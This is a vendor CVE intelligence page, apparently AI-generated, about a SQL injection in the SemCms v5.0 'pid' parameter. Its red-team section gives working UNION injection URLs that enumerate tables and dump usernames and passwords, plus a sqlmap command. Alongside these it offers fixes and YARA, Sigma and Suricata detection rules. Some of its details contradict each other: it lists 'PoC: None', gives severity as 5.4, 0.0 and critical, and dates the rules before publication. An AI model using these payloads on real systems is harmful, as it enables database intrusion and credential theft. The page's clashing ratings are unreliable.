☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-51652

CVE-2025-51652 SQL Injection in Semcms
📅 PUBLISHED: 2025-07-14 00:00 UTC 🔄 UPDATED: 2026-09-23 20:30 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.23%
👁️
0.23% probability
5.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-51652 identifies a critical SQL injection vulnerability in SemCms v5.0, specifically within the SEMCMS_Categories.php file via the pid parameter. This flaw allows an unauthenticated attacker to inject arbitrary SQL commands, potentially leading to unauthorized data access, modification, or complete database compromise. The vulnerability is publicly known, but no official patch or vendor advisory has been released, placing all instances of SemCms v5.0 at high risk. Given the lack of a patch, immediate mitigation through Web Application Firewall (WAF) rules or input sanitization is strongly recommended.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 0.0 (No official vector assigned by NVD)
  • Threat Level: Critical (Based on public exploit availability and lack of patch)
  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – The vulnerable component and the database are the same scope.
  • Confidentiality (C): High (H) – Full database read access possible.
  • Integrity (I): High (H) – Data can be modified or deleted.
  • Availability (A): High (H) – Database can be disrupted or destroyed.

Deep Dive & Mechanics

The vulnerability resides in the SEMCMS_Categories.php script, which is part of the SemCms content management system. The pid parameter is used to fetch category data from the database. The application fails to sanitize or parameterize this user-supplied input before incorporating it into a SQL query.

Vulnerable Code Pattern (Conceptual):

$pid = $_GET['pid'];
$query = "SELECT * FROM categories WHERE id = $pid";
$result = mysqli_query($conn, $query);

An attacker can manipulate the pid parameter to break out of the intended SQL statement and execute arbitrary commands. For example, a simple injection like pid=1 OR 1=1 would return all categories, while more complex payloads can be used for data exfiltration, authentication bypass, or even operating system command execution via xp_cmdshell (if SQL Server is used) or INTO OUTFILE (if MySQL is used).

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// SEMCMS_Categories.php (v5.0)
$pid = $_GET['pid'];
$sql = "SELECT * FROM semcms_categories WHERE id = $pid";
$result = mysqli_query($conn, $sql);

Patched Code (Conceptual - No official patch available):

// SEMCMS_Categories.php (Patched)
$pid = intval($_GET['pid']); // Cast to integer
$sql = "SELECT * FROM semcms_categories WHERE id = ?";
$stmt = mysqli_prepare($conn, $sql);
mysqli_stmt_bind_param($stmt, "i", $pid);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);

The patched version uses prepared statements with parameterized queries, which completely separates SQL logic from data. The intval() function provides an additional layer of defense by ensuring only numeric values are accepted.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  1. Deploy a vulnerable SemCms v5.0 instance (e.g., using Docker or a local web server with PHP and MySQL).
  2. Ensure the application is accessible via a web browser.

Exploitation Steps:

  1. Identify the vulnerable endpoint: http://target.com/SEMCMS_Categories.php?pid=1
  2. Test for SQL injection: Append a single quote (') to the pid value. If an error is returned, the application is vulnerable.
  3. Extract database version:
    http://target.com/SEMCMS_Categories.php?pid=1 UNION SELECT 1,@@version,3,4,5--
    
  4. Enumerate tables:
    http://target.com/SEMCMS_Categories.php?pid=1 UNION SELECT 1,group_concat(table_name),3,4,5 FROM information_schema.tables WHERE table_schema=database()--
    
  5. Dump user credentials:
    http://target.com/SEMCMS_Categories.php?pid=1 UNION SELECT 1,group_concat(username,0x3a,password),3,4,5 FROM semcms_users--
    

Automated Exploitation (sqlmap):

sqlmap -u "http://target.com/SEMCMS_Categories.php?pid=1" --batch --dbs

Blue Team (Defensive)

Detection & Prevention:

  1. Web Application Firewall (WAF) Rules: Block requests containing SQL keywords (UNION, SELECT, OR, AND, --, #) in the pid parameter.
  2. Input Validation: Implement strict server-side validation to ensure the pid parameter is an integer.
  3. Database Activity Monitoring: Monitor for anomalous SQL queries, especially those with UNION, INTO OUTFILE, or xp_cmdshell.
  4. Least Privilege: Ensure the database user used by the application has minimal privileges (e.g., only SELECT, INSERT, UPDATE on specific tables, not DROP or FILE).

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP GET requests to /SEMCMS_Categories.php with suspicious pid parameter values containing SQL keywords.
    • Outbound database connections from the web server to unusual IP addresses (data exfiltration).
  • File System IOCs:
    • Unexpected files in the web root (e.g., shell.php, cmd.php) created via INTO OUTFILE.
    • Modified or deleted database files.
  • Log IOCs:
    • Web server logs showing pid values with SQL syntax errors or injection patterns.
    • Database logs showing queries with UNION, SELECT, INTO OUTFILE, or xp_cmdshell.

Detection Engineering

YARA Rule

rule Detect_SemCms_SQLi_Attempt {
    meta:
        description = "Detects SQL injection attempts targeting SemCms v5.0 pid parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-51652"
    strings:
        $sqli_pattern1 = /pid=[^&]*(\%27|%22|'|"|--|#|UNION|SELECT|OR|AND)/i
        $sqli_pattern2 = /pid=[^&]*(\%3B|;|DROP|DELETE|INSERT|UPDATE|xp_cmdshell)/i
    condition:
        any of them
}

Sigma Rule

title: SemCms SQL Injection Attempt
id: 7b8c9d0e-1f2a-3b4c-5d6e-7f8a9b0c1d2e
status: experimental
description: Detects SQL injection attempts against SemCms v5.0 via the pid parameter
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-51652
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'SEMCMS_Categories.php?pid='
        cs-uri-query|re:
            - 'pid=[^&]*(\%27|%22|'|"|--|#|UNION|SELECT|OR|AND)'
            - 'pid=[^&]*(\%3B|;|DROP|DELETE|INSERT|UPDATE|xp_cmdshell)'
    condition: selection
falsepositives:
    - Legitimate use of special characters in category names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-51652 SemCms SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/SEMCMS_Categories.php"; http_uri; content:"pid="; http_uri; pcre:"/pid=[^&]*(%27|%22|'|"|--|#|UNION|SELECT|OR|AND)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the vulnerable endpoint: If possible, remove or rename SEMCMS_Categories.php until a patch is available.
  2. Implement a WAF: Deploy a Web Application Firewall with rules to block SQL injection patterns in the pid parameter.
  3. Input Sanitization: Apply server-side input validation to ensure the pid parameter is strictly numeric.

Long-Term Fix:

  1. Upgrade SemCms: Monitor the vendor's website for a patched version. If none is released, consider migrating to a different, actively maintained CMS.
  2. Code Review: Conduct a thorough security audit of all PHP files, especially those handling user input, and rewrite them using prepared statements or parameterized queries.
  3. Database Hardening: Apply the principle of least privilege to the database user. Disable dangerous features like xp_cmdshell and INTO OUTFILE.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions or further analysis, contact your Valters IT representative.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-51652/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.